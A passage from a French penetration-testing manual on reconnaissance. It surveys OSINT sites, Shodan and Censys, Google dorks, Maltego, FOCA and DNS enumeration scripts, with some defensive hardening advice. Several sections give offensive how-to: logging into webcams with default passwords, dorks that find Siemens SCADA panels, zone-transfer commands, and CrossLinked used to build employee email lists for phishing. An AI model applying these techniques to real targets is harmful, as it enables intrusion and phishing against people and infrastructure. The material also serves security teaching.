Twitter, etc.) tels que Free People Search Tool (https://freepeoplesearchtool.com).

Restrict
ed
Le site Free People Search Tool

Il existe également des métamoteurs permettant de lancer des recherches sur plusieurs réseaux
sociaux. Checkusernames (http://checkusernames.com/) permet une recherche sur plus de 160
réseaux sociaux :

Le métamoteur de recherche sur les réseaux sociaux Checkusernames

Dans le même style, PeekYou (http://www.peekyou.com) est également une source de


renseignements précieux.

Le moteur de recherche PeekYou

L’outil Pipl (https://pipl.com/) permet, quant à lui, de préciser une situation géographique.

Le site pipl.com

Webmii (https://webmii.com) est un site de recherche d’informations sur une personne.

Il agrège les résultats de plusieurs sites, réseaux sociaux.

Recherche sur une personne avec Webmii

Carrot² (https://search.carrot2.org/#/search/web) est un moteur de classification qui utilise le


métamoteur suisse etools.ch qui va interroger lui-même 17 moteurs de recherche.

Il a ceci d’intéressant qu’il classifie les résultats par dossiers et thématiques ou visuellement par
cercles ou plan de site.

Recherche avec le moteur de classification Carrot²

La recherche par image, aléatoire par le passé, devient une piste sérieuse à explorer dans le domaine
de la collecte d’informations. Plusieurs sites, parmi lesquels Google, proposent désormais une
recherche par image avec des résultats assez probants. Il est conseillé d’essayer plusieurs images
pour de meilleurs résultats.

Ainsi, le site TinEye (https://tineye.com/) donne d’assez bons résultats en termes de reconnaissance
faciale :

Reconnaissance d’image avec TinEye

Il existe de nombreux moteurs de recherche sur les personnes et les entreprises et il est facile de s’y
perdre. Le site dsfc.net, remis à jour en 2020, propose un bon récapitulatif de ce qui peut exister sur
le Net : https://www.dsfc.net/internet/moteurs-internet/moteurs-recherche-personnes/

Un autre : https://marcodiversi.com/blog/alternative-search-engines/

Restrict
ed
4. Les agrégateurs d’informations spécialisés

Netcraft (http://www.netcraft.com) permet de trouver pas mal d’informations concernant les


serveurs sur un site web.

L’agrégateur Netcraft

Un rapport est également disponible par site.

Rapport sur le site www.eni.fr

SEOprofiler (https://www.seoprofile.com/) est un site qui, initialement, est prévu pour vous aider à
référencer correctement votre site. Dans le cadre d’une prise d’empreinte, il peut également donner
de précieux renseignements (backlinks remontés...).

Recherche SEOprofiler

Le site Robtex (http://www.robtex.com) est le couteau suisse de l’administrateur réseau, il


communique beaucoup d’informations sur les adresses IP et les noms de domaine.

Recherche sur Robtex

De nombreux renseignements y sont donnés sous différentes formes.

Graphe DNS du site

Dans le même genre, le site IntoDNS (https://intodns.com) vous donne une cartographie
relativement complète d’un DNS.

IntoDNS : recherche de domaine

Spyse (https://spyse.com) est une solution OSINT de recherche de ressources internet, de failles
potentielles et d’évaluation de la sécurité des domaines ciblés.

Cette solution est payante mais offre cinq jours d’essais avec toutes ses fonctionnalités.

L’utilisation est simple : on se connecte sur le site, on s’inscrit et on teste le domaine choisi.

Une recherche Spyse

5. Les add-ons navigateurs spécialisés

Il existe de nombreux modules de sécurité pour Firefox et Chrome sur la recherche de


renseignements de type OSINT (Open Source Intelligence).

Restrict
ed
HackSearch Pro permet d’utiliser des agrégateurs comme nous venons de le faire, mais autorise
également des techniques Google Hack que nous verrons par la suite.

Utilisation du module HackSearch Pro

Osint Browser est un add-on pour Firefox qui réunit une collection d’outils en ligne très utiles à la
prise d’empreinte.

Osint Browser : une collection d’outils en ligne

D’autres addons sont également disponibles comme Sputnik.

Sputnik, module OSINT pour Firefox et Chrome

Il existe également des extensions utilisant des moteurs de recherche d’images en ligne comme par
exemple Search by Image.

Utilisation du module Search by Image

Pour terminer avec les extensions de navigateurs, il faut citer EXIF Viewer Pro, qui vous donnera de
précieux renseignements sur les métadonnées d’une image.

Chercher les métadonnées d’une image avec EXIF Viewer

Il existe bien d’autres outils OSINT en ligne sur la toile, le site OSINT Essentials
(https://www.osintessentials.com) en référence une bonne partie.

Restrict
ed
Les moteurs de recherche de périphériques connectés
1. Shodan : la référence

Shodan (https://shodan.io) est un moteur de recherche créé en 2009 par John Matherly. C’est un site
web spécialisé dans la recherche d’objets connectés à Internet, et ayant donc une adresse IP visible
sur le réseau. On l’appelle également le Google des périphériques connectés.

Il permet ainsi de trouver une variété de serveurs web, de routeurs, ainsi que de
nombreux périphériques tels que des imprimantes ou des caméras.

Shodan est également un outil utilisé par des chercheurs en sécurité et par les pirates pour trouver
des dispositifs mal sécurisés et en prendre le contrôle à l’aide d’un simple navigateur web.

Shodan a fait peau neuve et arbore désormais un background noir du plus bel effet.

Shodan : le moteur de recherche des périphériques connectés

Shodan est un site accessible depuis un navigateur web, deux plugins sont disponibles pour Firefox et
Chrome.

Plugins Shodan pour Chrome et Firefox

L’inscription est gratuite et donne droit à 50 résultats par recherche. Un système de crédits permet
d’accéder à plus de réponses.

Shodan propose désormais différentes options en plus de la recherche de périphériques connectés, il


suffit de cliquer sur le lien More... pour en avoir un aperçu. Ainsi, vous pouvez rechercher sur une
carte les périphériques connectés en fonction des filtres choisis (apache, proftpd, city, country...),
mais également avoir une vue complète de tous vos services exposés sur vos appareils connectés, un
module CLI une base de données d’exploits ainsi qu’une aide en ligne et d’autres options
intéressantes.

Les différentes options proposées par Shodan

Le fonctionnement de Shodan est simple, il utilise les réponses types aux tentatives de connexion des
périphériques connectés.

L’essentiel des données provient des bannières, que l’on peut assimiler aux métadonnées du ou des
logiciels exécutés sur un appareil connecté.

Prenons l’exemple d’un matériel Cisco : le message type généré lors d’une connexion réussie « Last-
modified: date » servira en partie dans le filtre placé dans la zone de recherche Shodan.

Les deux réponses types à une tentative de connexion sur un matériel Cisco

Shodan dispose de filtres basiques qui s’écriront « filtre : valeur » :

Restrict
ed
 country : le pays de recherche suivi du code de deux lettres (FR pour France).

 host name : nom de machine ou domaine.

 net : recherche sur Netblock (net:192.168.1.1/24).

 os : système d’exploitation (« IIS » os:seven).

 port : recherche d’un port particulier (IIS port : 80).

 after/before : précise un intervalle de date (apache country : CH after : 22/03/2010 before :


4/6/2010).

Prenons un exemple d’une recherche avec les termes « cisco » et « last-modified ».

Recherche Shodan avec les filtres « cisco » et « last-modified »

De nombreux résultats s’offrent à nous. Modérons un peu notre enthousiasme : Shodan indexe à un
instant T et certains matériels peuvent avoir été mis à jour depuis.

Néanmoins, nous tombons assez rapidement sur une interface d’administration accessible sur le Net.

Accès à une interface d’administration routeur

On constate que de nombreux matériels mal configurés sont accessibles facilement avec cet outil.

On peut également, par exemple, rechercher un site FTP où l’utilisateur Anonymous est autorisé.

Recherche d’un site FTP accessible

Les résultats sont souvent assez probants :

Serveur FTP accessible

On peut également chercher des webcams disponibles soit en utilisant les recherches déjà
répertoriées, soit en tapant une nouvelle requête.

Généralement, on utilisera le mot de passe constructeur mis par défaut, on trouve ceux-ci sur
certains sites spécialisés, tels que : https://ipvm.com/reports/ip-cameras-default-passwords-
directory

Recherche de caméra

Plus dangereux, on peut également rechercher des périphériques connectés qui pilotent des
installations de type industriel encore appelées ICS pour Industrial Control System.

Inutile de préciser qu’avec des équipements mal configurés et accessibles, les conséquences
matérielles possibles peuvent être catastrophiques.

Restrict
ed
Périphériques de contrôle de systèmes industriels

Shodan propose même une collection de requêtes de recherche intéressantes et


souvent surprenantes : https://github.com/jakejarvis/awesome-shodan-queries

Quand on sait qu’il n’est pas rare sur le Net de trouver des objets connectés configurés avec le mot
de passe par défaut, il est facile en recherchant celui-ci de s’y connecter.

Quelques mesures de sécurité sont à prendre pour tout périphérique matériel connecté :

 Déconnecter si l’accès distant n’est pas utile au fonctionnement.

 Maintenir les firmwares à jour.

 Définir un mot de passe complexe (pas de mots de passe par défaut).

 Utiliser un accès distant de confiance (VPN, SSH...).

 Utiliser des ACL (Access Control List).

 Analyser les logs.

 Effectuer des tests de sécurité (audit).

2. Thingful : un moteur de recherche pour les IoT (Internet of Things)

Thingful (http://www.thingful.net/) est un moteur de recherche d’objets connectés (capteurs).


Comme Google, Thingful agrège et indexe des objets connectés dans le monde qui proposent un
accès direct aux flux de données qu’ils génèrent.

Thingful rassemble toutes les informations relatives à la source de ces données pour constituer les
pages de profil de ces objets connectés autour du profil Twitter de leur possesseur.

Recherche Thingful

Thingful classe les objets connectés du moteur de recherche dans huit catégories :

 La santé

 L’environnement

 La domotique

 Les transports

 L’énergie

 La faune et la flore

 L’expérimentation

 Le reste

Classement par domaines

3. Censys : tout sur les appareils connectés en IPv4 sur le Net

Restrict
ed
Censys (https://censys.io) est un moteur de recherche créé par des chercheurs de l’université du
Michigan.

Il collecte toutes les informations trouvées sur les périphériques connectés en IPv4 sur le Net.

Il utilise le scanner de ports open source ZMap et remplit une base de données accessible via une
interface web, une API, ou il permet le téléchargement de listings en texte brut.

Il autorise des recherches par mots-clés, par IP, par nom de domaine, par protocole, par certificat...
permettant ainsi de trouver de mauvaises configurations.

Accueil du site Censys

Une recherche sur les ports modbus accessibles :

Recherche modbus sur Censys

Une recherche sur un domaine :

Recherche sur un domaine

4. Zoomeye : l’alternative chinoise

Il existe également un moteur de recherche de ce type développé en Chine : ZoomEye


(https://www.zoomeye.org/). Malheureusement, l’interface d’accueil est en chinois et il vous faudra
un traducteur pour vous repérer dans l’organisation du site. Malgré tout, beaucoup de pages gardent
le texte en anglais et il est possible de s’y retrouver.

Le moteur de recherche de périphériques connectés ZoomEye

Il possède une aide en ligne au travers de son "User Manual" à l’adresse


suivante : https://www.zoomeye.org/doc

Restrict
ed
La recherche d’informations avec Google Hack
1. Le Big Data

Une masse impressionnante de données sont disponibles sur la toile, nous créons environ 2,5
trillions d’octets de données tous les jours. Nos données personnelles sont enregistrées par les
géants d’Internet : Google, Yahoo, Apple, Facebook, Amazon... forts de leur savoir-faire en la
matière.

Ces acteurs incontournables du Web amassent des sommes astronomiques via la masse des données
personnelles récupérées de toutes parts, c’est ce que l’on nomme communément le Big Data.

2. Les techniques utilisées

La géolocalisation

Dès lors que l’utilisateur autorise cette fonction, c’est la porte ouverte à ceux qui traquent les
données. Il recevra des publicités bien spécifiques de sociétés commerciales se trouvant sur son
parcours.

Le clic

Chacun de nos clics est non seulement recueilli mais aussi analysé grâce à des algorithmes très
puissants. Le champion en la matière est Google. Chaque clic permet d’affiner notre profil et donc de
monétiser nos clics en revendant les informations à des sociétés commerciales.

Par exemple : situation familiale, opinions politiques, préférences sexuelles, goûts en matière
musicale, littéraire ou cinématographique.

À partir de ces données, les algorithmes sont capables de savoir de quoi nous avons besoin
aujourd’hui et demain.

Si un bébé arrive dans la famille, vous serez inondé de publicités en tout genre pour des vêtements
ou du matériel, vous pourriez même recevoir des catalogues personnalisés par courrier sans rien
avoir demandé.

Une somme d’argent phénoménale est entre les mains d’une poignée d’entreprises. Ces sociétés ne
cesseront jamais de s’enrichir à notre insu.

Même si certains internautes configurent leur navigateur pour ne pas être traqués, les géants du Big
Data le perçoivent et concentrent leurs efforts sur ceux qui ne se sont pas protégés.

3. Google : historique et clés de son succès

Google est le moteur de recherche le plus fréquenté dans le monde. Conçu sur une idée de Larry
Page et Sergey Brin en 1998, il représente en 2021, 92,15 % de parts de marché en France dans les
moteurs de recherche.

Ce chiffre impressionnant est en partie lié à la bonne image que possède Google auprès du public.

Sa prise en main est immédiate, les pages ne sont pas surchargées et s’affichent rapidement.

Il est particulièrement sobre, léger, et les résultats des recherches sont très pertinents.

4. Google, un incontournable sur le Web

Google est un passage obligé dès lors que l’on souhaite populariser le contenu de son site web.

Restrict
ed
On va donc chercher à mettre à disposition un maximum d’informations pour que Google analyse le
contenu du site le plus intelligemment possible.

Une recherche sur Google doit permettre de trouver rapidement le site (référencement).

Google indexant tout ce qu’il trouve, il dispose également de données qui ne doivent surtout pas être
mises à disposition du public.

De fait, l’administrateur web cherchera à empêcher l’accès à ces informations confidentielles au


moteur de recherche.

5. Définition du Google Hacking

Le Google Hacking est une technique consistant à détourner la puissance de récupération


d’informations par Google afin de retrouver des données en jouant avec les différents paramètres
fournis par le moteur de recherche.

On utilisera pour cela les opérateurs basiques et avancés reconnus par Google.

Web Crawler, Web Robots ou encore Web Spider, ces outils scrutent les pages du Web. Ils basculent
d’une page à l’autre grâce aux liens hypertextes contenus dans ces pages, en mémorisant le contenu.

Les liens hypertextes

6. Fonctionnement du moteur de recherche

Le contenu des pages (textes, images, documents, métadonnées, etc.) est indexé et stocké : il servira
de base au moteur de recherche.

Le Web Crawler se décompose en un agent qui analyse une page sur une URL donnée et le Crawler
Manager chargé de gérer, trier, stocker en base de données les informations récupérées par l’agent.

Restrict
ed
Fonctionnement du Web Crawler

7. Le référencement Google

Google a misé sur la sobriété, la rapidité, et un concept nouveau : le page rank.

Il s’agit d’un système de classement dont le principe est simple : plus une page possède de liens vers
elle, plus elle est populaire et plus elle doit apparaître en position haute dans les résultats.

Il y a quelques années, le système de page rank a pu être exploité pour forcer certaines
correspondances abusives et sans pertinence. Par exemple : en tapant "escroc", on retrouvait en
résultat une page de présentation d’une célébrité.

Cette technique, nommée Google bombing, consistait simplement à créer de faux sites dans lesquels
on mettait des liens indiquant que cette célébrité était un escroc.

8. Google Hack : les opérateurs basiques de Google

Les opérateurs basiques permettent de lier, de préciser ou d’offrir plusieurs alternatives à une
recherche Google :

 + (and) : permet de chercher les pages web regroupant tous les mots liés par ce signe (ex. :
eni+acissi+2017).

Restrict
ed
 - (not) : permet de retirer une expression de la recherche Google (ex. informatique -
Windows : pages contenant le terme "informatique", mais ne contenant pas "Windows").

 | (le pipe (ou booléen, touches [Alt Gr] + 6 du clavier) permet de considérer deux ou
plusieurs motifs dans la recherche (ex. admin+(password | passwd) : la recherche se fera sur
toutes les pages contenant le terme "admin" et le terme "password" ou "passwd").

 " (guillemets) : recherche les expressions exactes encadrées par les guillemets
(ex. "Apprendre l’attaque pour se défendre").

 . (point) : substitue un caractère dans une expression.

 * (étoile) : se substitue à un mot, une expression.

 () (parenthèses) : groupe des expressions (ex. (switch cisco 2960)).

 .. : deux nombres séparés par deux points permettent de rechercher tous les nombres de la
plage spécifiée (ex. smartphone 200..400 euros : téléphone dont le prix est compris entre
200 et 400 euros).

9. Les opérateurs avancés

 site: recherche les pages du site ou domaine spécifié.

 filetype: recherche par type de fichier (ex. filetype:.doc).

 cache: donne la dernière version de la page web indexée par le robot Google.

 related: renvoie les pages liées à une URL (ex. related:eni.fr).

 define: permet d’obtenir une définition du terme recherché ; Wikipédia arrive souvent en
tête des résultats (ex. define:hacking).

 allintext: restreint la recherche au corps du texte de la page correspondant à la


balise body (ex. allintext : wannacry remonte les pages où on parle du malware wannacry).

 intext: fonctionne de la même manière que allintext mais un seul mot peut être recherché
(ex. intext:wannacry).

 allintitle: recherche un ou plusieurs mots dans le titre de la page (balise title).

 intitle: suit le même principe, mais la recherche n’est possible que sur un seul terme.

 allinurl: pour que la recherche s’effectue uniquement sur les URL des pages web pour un ou
plusieurs mots.

 inurl: suit le même principe pour un seul terme de recherche.

 movie: recherche les séances de cinéma en fonction d’un code postal ou un nom de ville
(ex. movie:Maubeuge.

 showtime: suit le même principe, mais élargi aux spectacles et activités culturelles de la ville
passée en argument.

 stocks: en indiquant le nom de l’entreprise ou son code action, permet de suivre le cours de
ses actions en bourse (ex. stocks:nissan).

Restrict
ed
 info: donne certaines informations sur le site web passé en argument (ex. info:eni.fr) et
donne l’accès à d’autres informations (cache, pages similaires...).

 weather: pour connaître la météo des villes ou régions passées en argument


(ex. weather:Nord affiche très logiquement un soleil radieux).

 map: affiche la carte d’une localité (ex. map:Maubeuge).

 safesearch: supprime les résultats destinés aux adultes.

10. Les opérateurs spécifiques

Ces opérateurs avancés sont spécifiques à Google.

 location: dédié à Google Actualités, permet de trouver les derniers articles sur le lieu passé
en argument.

 source: réservé lui aussi à Google Actualités, permet de préciser la source des informations à
récupérer (ex. source:la voix du nord location:avesnes sur helpe).

 inpostauthor: permet de faire une recherche sur les blogs (Google Blog Search) pour trouver
les articles écrits par un auteur passé en argument (ex. inpostauthor:korben).

 inblogtitle: réservé également à Google Blog Search, permet de limiter une recherche aux
titres de blogs (ex. inblogtitle:metasploit).

 inposttitle: permet, de la même façon, de limiter la recherche aux titres des articles publiés.

Les opérateurs avancés Google Hack (source : Johnny Long)

11. Les Google Dorks

Restrict
ed
En sécurité informatique, les Google Dorks sont une méthode qui permet d’utiliser le moteur de
recherche Google (ou un autre moteur de recherche) pour récupérer des informations sensibles. Les
Google Dorks sont l’utilisation d’opérateurs spécifiques et de techniques de recherche avancées dans
les moteurs de recherche.

Le but est de trouver des signatures particulières, des suites de caractères ou des mots spécifiques
combinés à des opérateurs de recherche proposés par Google pour obtenir des résultats très précis.

Pour trouver un Google Dork, on étudie les bannières et traces récurrentes laissées par une
application web.

Par exemple, le plugin Yoast WordPress SEO affiche le texte suivant dans le code source de la page
web :

Yoast Wordpress SEO plugin V1.7.1

Google Dorks du plugin Yoast WordPress SEO

La recherche se fera donc de la façon suivante :

intext:Yoast Wordpress SEO Plugin V1.7.1

Le site Exploit Database (https://www.exploit-db.com), maintenu par Offensive Security, comporte


une base de Google Dorks impressionnante.

Base Google Dorks chez Exploit-Database

Quelques exemples de Google Hacks :

 Recherche de Google Dorks pour WordPress :

site:pastebin.com "google dorks" + sqli|xss|wordpress

Restrict
ed
Recherche de Google Dorks spécifiques à WordPress

 Recherche de fichiers PDF ciblée :

Recherche de fichiers PDF ciblés

 Recherche d’une personne en évitant certains sites :

Restrict
ed
Recherche de personnel

 Recherche de téléphone Cisco :

Recherche de la page de configuration d’un téléphone Cisco

 Recherche de sous-domaines :

Cette technique se nomme site mapping et consiste à récupérer tous les sous-domaines d’un site. On
peut ainsi connaître une partie de la topologie DNS du nom de domaine ciblé.

site:microsoft.com + inurl:microsoft.com -www.microsoft.com

Recherche ciblée de sous-domaines

 Site listing :

Cette technique permet de faire du site listing et de voir tout le contenu d’un répertoire du site.
Cette technique permet donc de chercher des fichiers audio ou vidéo stockés sur des sites, en
forgeant simplement une requête comme suit :

Recherche de documents audio

 Recherche de caméras :

Un peu comme avec Shodan, on peut rechercher un matériel connecté au Web.

Restrict
ed
Recherche de matériel connecté

De la même façon que pour une recherche traditionnelle, on peut également rechercher des
systèmes de supervisions industriels aussi appelés SCADA (Supervisory Control and Data Acquisition)
avec les GoogleDorks :

inurl:/Portal/Portal.mwsl
On accède alors à l’interface web de contrôleurs Siemens quasi identiques à ceux touchés par
l’attaque Stuxnet.

Recherche de matériel SCADA

Quelques règles utiles contre le Google Hack

Il est possible d’accéder au contenu d’un site par la technique du directory listing. Il faut donc
prévenir cela en interdisant le listing dans la configuration de votre serveur HTTP, en restreignant
l’accès. Le moyen le plus propre consisterait à mettre un contrôle d’accès via un fichier .htaccess,
mais ceci n’est pas toujours faisable. Un autre moyen plus simple consisterait simplement à mettre
une page index.html, index.htm ou index.php dont le contenu est vide. Ainsi, le directory listing sera
plus difficilement réalisable par un moteur de recherche. On veillera également à utiliser des noms
de fichiers et de répertoires non conventionnels. On évitera donc d’avoir un user.html, db/, sql/, etc.

Au niveau des crawlers, il faut interdire les Crawling Robots avec le fichier robots.txt. Il définit avec
précision le comportement des robots ainsi que le moyen d’empêcher qu’ils ne parcourent un site. Il
suffit de créer un fichier nommé robots.txt accessible en lecture par tous, à la racine du site web. On
y placera une liste d’instructions indiquant la portée que l’on donne aux robots pour ce site.

L’ensemble des robots respectant ce consensus est listé dans une base de données
accessible librement sur le site Robotstxt.org.

Exemple de fichier robots.txt

# le dièse indique un commentaire


# propriété pour le robot Google
User-Agent:GoogleBot

Restrict
ed
# on interdit l'accès au répertoire /foo1/
Disallow:/foo1/
# et à tous les fichiers .doc du répertoire /foo2/
Disallow:/foo2/*.doc
# on interdit tous les autres robots User-Agent:*
Disallow:/

12. Une interface graphique pour Google Hack et Bing Hack

SearchDiggity v 3.1.0 est un utilitaire de Bishop


Fox : https://resources.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/

Il utilise les techniques Google Hack, Bing Hack et celles d’autres applications.

Application SearchDiggity

C’est une application qui fonctionne sur Windows et se présente comme une interface avec
différentes fonctionnalités.

Elle permet ainsi de rechercher du code sur des techniques de hack, des artefacts (login, password...)
dans des fichiers SWF décompilés et bien d’autres choses.

L’application Search Diggity (source : SearchDiggity - Tool Screenshot Gallery)

Restrict
ed
Applications graphiques dédiées à la recherche d’informations
1. Maltego

Maltego (https://www.maltego.com/) est une application graphique qui édite des graphes dits
"relationnels". Elle permet de retrouver des relations entre différentes informations comme les
adresses IP, les NDD, les DNS, les réseaux sociaux ou encore des documents. Ce logiciel est
développé en Java par la société sud-africaine Paterva.

Elle permet de réaliser rapidement de nombreux types de recherches d’informations sur ce que l’on
appellera des entités (personnes, sites web, réseaux, AS, adresses e-mail, expressions, adresses IP...).

Elle utilise des méthodes appelées transforms et utilise de nombreuses sources d’information
(moteurs de recherche, réseaux sociaux, DNS...).

Elle est proposée en cinq versions :

 Maltego One (pour les entreprises) : solutions customisables.

 Maltego X (version haut de gamme) : visualisation maximum de liens sur un


million d’informations.

 Maltego Classic (version commerciale) : liens jusqu’à 10 000 informations.

 Maltego CE (version communautaire) : version avec quelques limitations (12 entités


max/résultat).

 Maltego Case File (version gratuite à usage commercial) : permet de visualiser les connexions
dans les données hors ligne et ne nécessite pas l’utilisation de transforms.

Il est nécessaire de s’enregistrer pour utiliser Maltego. Pour ceux qui utilisent Kali Linux, Maltego est
préinstallé et il suffira de donner e-mail et mot de passe à l’installeur. Pour les autres, les liens pour
s’enregistrer et télécharger Maltego se trouvent au bas de la page d’accueil.

Maltego : installation

L’utilisation de Maltego est très simple. On dispose d’une scène sur laquelle sont déposées les entités
(utilisateurs, mails, domaines...) que l’on choisit dans la colonne de gauche par cliquer-glisser.

On applique ensuite des transforms (méthodes) sur ces entités en les choisissant avec un clic sur le
bouton droit. Afin de ne pas se retrouver avec un graphique relationnel incompréhensible, il est
conseillé de travailler avec plusieurs scènes que l’on peut ajouter avec le bouton + situé en haut à
gauche de la fenêtre.

Pour plus d’informations, Maltego met à disposition un guide


d’utilisation : https://docs.maltego.com/support/home

L’interface Maltego

Maltego : recherche de mails utilisateurs

Maltego propose également des scénarios de recherche pré-établis appelés "machines".

Restrict
ed
Scénarios de recherches Maltego

2. Foca Free

https://www.elevenpaths.com/innovation-labs/technologies/foca

https://github.com/ElevenPaths/FOCA/releases/tag/v3.4.7.0

Foca est une application d’énumération qui fonctionne sous Windows et qui permet de faire une
collecte intéressante de données (documents, extraction de métadonnées, serveurs, bannières...).

Il fonctionne sous forme de projet affecté à un domaine. Il suffit de lui indiquer un domaine à
analyser, de le paramétrer pour retrouver des documents accessibles dans le domaine en lui
précisant les extensions recherchées (.pdf, .doc...) et de le lancer.

Foca : recherche d’informations sur un domaine

Foca intègre également les recherches Shodan, Bing et Google. Il faudra pour cela vous inscrire sur
leur site et récupérer les codes API à rentrer dans la configuration de Foca.

Configuration de Foca

La colonne de gauche vous permet de visualiser les machines, serveurs, domaines, adresses IP et
rôles en cliquant sur l’onglet Network (si le site autorise le listing). Foca indexe également les
documents accessibles sur le site et vous permet d’en extraire les métadonnées en les téléchargeant.

Restrict
ed
Foca : affichage des données trouvées

Restrict
ed
Les scripts de recherche d’informations
1. TheHarvester

TheHarvester est un outil qui permet de récupérer des comptes e-mail, des noms d’utilisateurs, des
noms de domaines et sous-domaines à partir de différentes sources publiques. TheHarvester signifie
en français "la moissonneuse" et c’est exactement ce que cet outil réalise : une moisson des données
qu’on lui a demandées.

C’est un script Python que l’on trouve sur GitHub : https://github.com/laramies/theHarvester

theharvester.py -h

TheHarvester : la moissonneuse

Ce script permet de récupérer des hôtes, des e-mails et d’autres informations sur un domaine.

TheHarvester : recherche d’informations sur un domaine

Il permet également de générer un rapport en HTML.

Rapport TheHarvester

2. CrossLinked

Qui ne connaît pas LinkedIn, plateforme de réseau professionnelle très utilisée de nos jours pour le
recrutement ? De fait, elle est également une excellente source de renseignements et est largement
utilisée lors de collectes d’informations destinées aux tests d’intrusions, mais également aux attaques
malveillantes.

Généralement, on utilise les méthodes de recherches avancées des moteurs de recherche, par
exemple : site : linkedin.com/in ’nom de l’entreprise’

Le profil d’une entreprise nous permet de récupérer une liste d’employés et de leurs postes.

Restrict
ed
CrossLinked est un outil d’énumération créé par "m8r0wn" (https://m8r0wn.com) qui va nous
permettre d’automatiser notre recherche, il va utiliser les moteurs de recherche Bing et Google avec
des requêtes spécialement conçues pour récupérer les noms des employés de l’entreprise visée.

Il formate ensuite les résultats en fonction des instructions passées en ligne de commande (mails,
domaine...) et crée un fichier "names.txt" avec les résultats.

Il s’installe classiquement avec pip3 après l’avoir téléchargé sur


GitHub : https://github.com/m8r0wn/CrossLinked

Pour l’installer :

git clone https://github.com/m8r0wn/crosslinked

cd crosslinked

pip3 install -r requirements.txt

L’aide s’obtient de façon classique :

python3 crosslinked -h

Un exemple de récupération de noms d’employés reformatés en adresse e-mail pour une éventuelle
campagne de phishing :
python3 crosslinked.py -f '{first}.{last}@domain.fr 'domain'

L’argument -f permet de spécifier le format (cf. l’aide).

Lancement de CrossLinked

Les noms formatés qui pourront servir pour une campagne de phishing :

Le fichier généré

Restrict
ed
3. Emailfinder

Emailfinder est un autre script de recherche d’e-mails via certains moteurs de recherche, qui pourra
compléter la recherche de CrossLinked. Pour l’installer, rien de plus simple. En console, il faut taper :

pip3 install emailfinder

ensuite :

emailfinder -d <domaine de recherche de mails>

Recherche de mails avec Emailfinder

4. Parsero

Parsero est un script Python permettant de récupérer les informations du fichier robots.txt dans un
site. Ce fichier indique aux robots indexeurs du web de ne pas enregister les adresses de pages qui y
sont spécifiées. Parsero lit celui-ci et vérifie si ces pages sont accessibles ou pas.

Restrict
ed
Parsero : affichage du fichier robots.txt

5. Dirsearch

Dirsearch est un utilitaire écrit en Python qui recherche les fichiers et répertoires accessibles sur un
site web. Il est disponible sur Kali sous forme de paquet à installer. Pour le lancer de façon basique, il
suffit de préciser l’adresse du site web en lui passant l’argument -u (URL) :

dirsearch -u https:// <site à tester>

Il propose un rapport en différents formats (XML, CSV, JSON, TXT...) et une option (-r) qui permet de
scanner en récursivité. Les sites modernes bloquant le fuzzing de répertoires, il serait intéressant
d’avoir une option pour l’utilisation de proxies.

Le scanner de répertoires Dirsearch

Restrict
ed
Énumération DNS : commandes et scripts
1. Nslookup

Nslookup est un programme informatique de recherche d’informations dans le DNS (Domain Name
System), qui associe noms de domaine et adresses IP. Natif sous Windows, il est également implanté
sous Linux.

Nslookup permet donc d’interroger les serveurs DNS pour obtenir les informations définies pour un
domaine déterminé.

Utilisation de nslookup

2. Host

Host est un utilitaire Unix permettant d’afficher les redirections DNS. Il fut développé et distribué
sous licence ISC par l’Internet Systems Consortium (ISC).

Il permet également de demander un transfert de zone DNS qui ne devrait pas être autorisé
normalement, mais qui fonctionne encore sur certains domaines.

Host et transfert de zone DNS

3. Dig

La commande dig est un outil flexible pour le test et l’interrogation de serveurs DNS. Elle permet de
construire toutes les formes de requêtes et de visualiser l’ensemble des informations des réponses.

Restrict
ed
La commande dig

Elle permet également de demander un transfert de zone avec la commande suivante :

dig "@nom du serveur de noms" axfr "nom de domaine"

Avec ces trois commandes disponibles, nous pouvons déjà automatiser une recherche de noms
d’hôtes, par exemple avec un script shell.

Petit script de recherche de noms d’hôtes

4. Dnsenum

Écrit par l’un des développeurs de Kali Linux, Filip Waeytens (barbsie), dnsenum permet de récupérer
rapidement pas mal d’informations DNS sur un domaine donné (serveurs NS, transfert de zone, sous-
domaines, serveurs MX, force brute DNS...).

La commande suivante lance dnsenum en lui demandant de faire un force brute sur la recherche de
domaines secondaires, en utilisant un fichier dns.txt. Le paramètre -w déclenche un whois sur les
adresses découvertes.

dnsenum -f dns.txt eni.fr -w

Script dnsenum.pl

Restrict
ed
On peut demander en plus la mise à jour du fichier dns.txt avec les sous-domaines trouvés, et le
parsing des résultats Google :

dnsenum -f dns.txt eni.fr -u -w

Upgrade du fichier dns.txt

5. Subwalker

Subwalker est un script shell créé par m8r0wn (https://m8r0wn.com) qui utilise les outils
d’énumération de domaines suivants :

 SubScraper (https://github.com/m8r0wn/subscraper)

 Sublist3r (https://github.com/aboul3la/Sublist3r)

 AssetFinder (https://github.com/tomnomnom/assetfinder)

La procédure d’installation est très simple et rapide :

git clone https://github.com/m8r0wn/subwalker

cd subwalker; chmod +x install.sh subwalker.sh

sudo ./install.sh

Il suffit ensuite de lancer le script en lui précisant le domaine ciblé :

./subwalker.sh <domaine>

Recherche avec Subwalker

6. Dnsrecon

Dnsrecon est un script écrit en Python qui effectue une recherche DNS inversée sur chaque adresse
IP d’un sous-réseau donné. Ce script peut s’avérer très utile quand le transfert de zone échoue et que
l’on dispose d’une adresse IP.

Restrict
ed
On utilisera le script de recherche inversée dnsrecon sur le réseau 18x.x.X.0/24 en notation CIDR
(Classless Inter-Domain Routing).

Recherche inversée sur un netblock avec dnsrecon

7. Fierce

Fierce.pl est un script de recherche DNS, il recherche les DNS du domaine, essaye un transfert de
zone et ensuite fait un force brute sur les noms ; on peut également lui adjoindre un fichier host.txt.
Il est de base sur Kali Linux.

Utilisation de fierce

8. Knockpy

Knockpy, écrit en Python, permet d’énumérer des sous-domaines sur un domaine cible via une liste
de mots. Il teste le transfert de zone et prend en charge les requêtes sur les sous-domaines de
VirusTotal, vous pouvez définir l’API_KEY de Virus Total dans le fichier config.json.

Dépôt GitHub et guide d’installation : https://github.com/guelfoweb/knock

Restrict
ed
Aide Knockpy

Il permet également d’enregistrer les résultats dans un fichier au format CSV ou JSON (-c ou -j) et de
préciser un dictionnaire autre que celui par défaut (-w).

Énumération de sous-domaines avec Knockpy

9. SecLists

SecLists est une collection de multiples types de listes utilisées lors des évaluations de sécurité,
collectées en un seul endroit. On y trouve des dictionnaires pour les noms d’utilisateurs, les mots de
passe, les URL, les Shells web et bien d’autres catégories.

Dépôt GitHub et guide d’installation : https://github.com/danielmiessler/SecLists

Restrict
ed
SecLists : une collection de dictionnaires

